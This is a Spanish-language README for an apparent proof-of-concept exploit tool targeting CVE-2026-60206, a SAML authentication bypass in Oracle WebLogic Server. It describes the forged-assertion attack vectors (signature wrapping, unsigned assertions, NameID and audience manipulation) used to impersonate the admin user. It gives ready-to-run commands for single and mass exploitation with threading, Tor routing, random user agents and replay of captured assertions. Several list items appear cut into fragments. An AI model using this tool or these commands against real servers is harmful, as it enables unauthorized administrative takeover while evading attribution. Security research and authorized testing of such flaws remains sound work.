
Análisis técnico y prueba de concepto para CVE-2026-60206, una vulnerabilidad crítica de omisión de autenticación SAML en Oracle WebLogic Server.
Este repositorio proporciona un exploit de prueba de concepto para CVE‑2026‑60206, una vulnerabilidad crítica de omisión de autenticación en la implementación SAML de Oracle WebLogic Server. La falla permite que un atacante remoto con bajos privilegios comprometa completamente el servidor mediante la falsificación de aserciones SAML.
⚠️ Aviso legal: Esta herramienta está destinada únicamente a investigación y pruebas de seguridad autorizadas. Úsala solo contra sistemas que poseas o sobre los que tengas permiso explícito para realizar pruebas. Los autores no asumen responsabilidad alguna por el mal uso.
CVE-2026-60206 afecta al componente Core de Oracle WebLogic Server. La vulnerabilidad se origina en un manejo incorrecto de la autenticación en la implementación del protocolo SAML. Múltiples vectores de ataque —como XML Signature Wrapping (XSW), aceptación de aserciones sin firmar, manipulación de NameID y omisión de audiencia/condiciones— permiten a un atacante suplantar a usuarios arbitrarios (p. ej., weblogic) y obtener acceso administrativo.
Versiones afectadas:
El PoC implementa los siguientes vectores de ataque:
WantAssertionsSigned no está aplicado).AudienceRestriction para ampliar el alcance.NotBefore/NotOnOrAfter para evadir las comprobaciones de validez.all, unsigned, xsw, nameid, audience, conditions, combo o replay.-l).-r).httpx si está instalado y recurrir a requests (HTTP/1.1) en caso contrario.--save-payloads).-c / --check) – determinar rápidamente si un objetivo es vulnerable (sin explotación).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Requerido: requests, urllib3
Opcional (mejora la funcionalidad):
httpx – para soporte HTTP/2lxml – para un análisis SAML mejoradosignxml, cryptography – para el manejo de firmas (no es necesario para la explotación)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | Descripción |
|---|---|
-h, --help | Muestra el mensaje de ayuda y sale. |
--proxy PROXY | URL del proxy (se sobrescribe con --tor si se usa). |
--no-verify | Desactiva la verificación del certificado SSL. |
--cookie COOKIE | Cookie(s) de sesión (p. ej., name=value; name2=value2). |
--auth AUTH | Credenciales de autenticación básica (USER:PASS). |
| Flag | Descripción |
|---|---|
-t, --target TARGET | URL de un único objetivo (p. ej., https://host:7002). |
-l, --list LIST | Archivo de lista de objetivos para el escaneo masivo, o una URL única. |
-f, --file FILE | Alias de --list. |
| Flag | Descripción |
|---|---|
-r, --requestfile REQUESTFILE | Carga una petición HTTP cruda desde un archivo (reemplaza los ataques SAML). |
--method METHOD | Método HTTP a usar (para petición cruda o petición única; por defecto: GET). |
--random-agent | Usa un User‑Agent aleatorio de la lista incorporada. |
-A, --user-agent USER_AGENT | Valor personalizado para la cabecera User‑Agent. |
--tor | Usa la red de anonimato Tor (SOCKS5 por defecto). |
--tor-port TOR_PORT | Puerto del proxy Tor (por defecto: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tipo de proxy Tor (por defecto: SOCKS5). |
--check-tor | Comprueba si Tor se usa correctamente (sale con un veredicto). |
--delay DELAY | Retardo en segundos entre cada petición. |
--timeout TIMEOUT | Tiempo de espera en segundos (por defecto: 30). |
--retries RETRIES | Número de reintentos ante timeouts/errores (por defecto: 3). |
--retry-on RETRY_ON | Reintenta la petición si el contenido de la respuesta coincide con el regex (p. ej., 'captcha'). |
-dr, --disable-redirects | Desactiva el seguimiento de redirecciones HTTP. |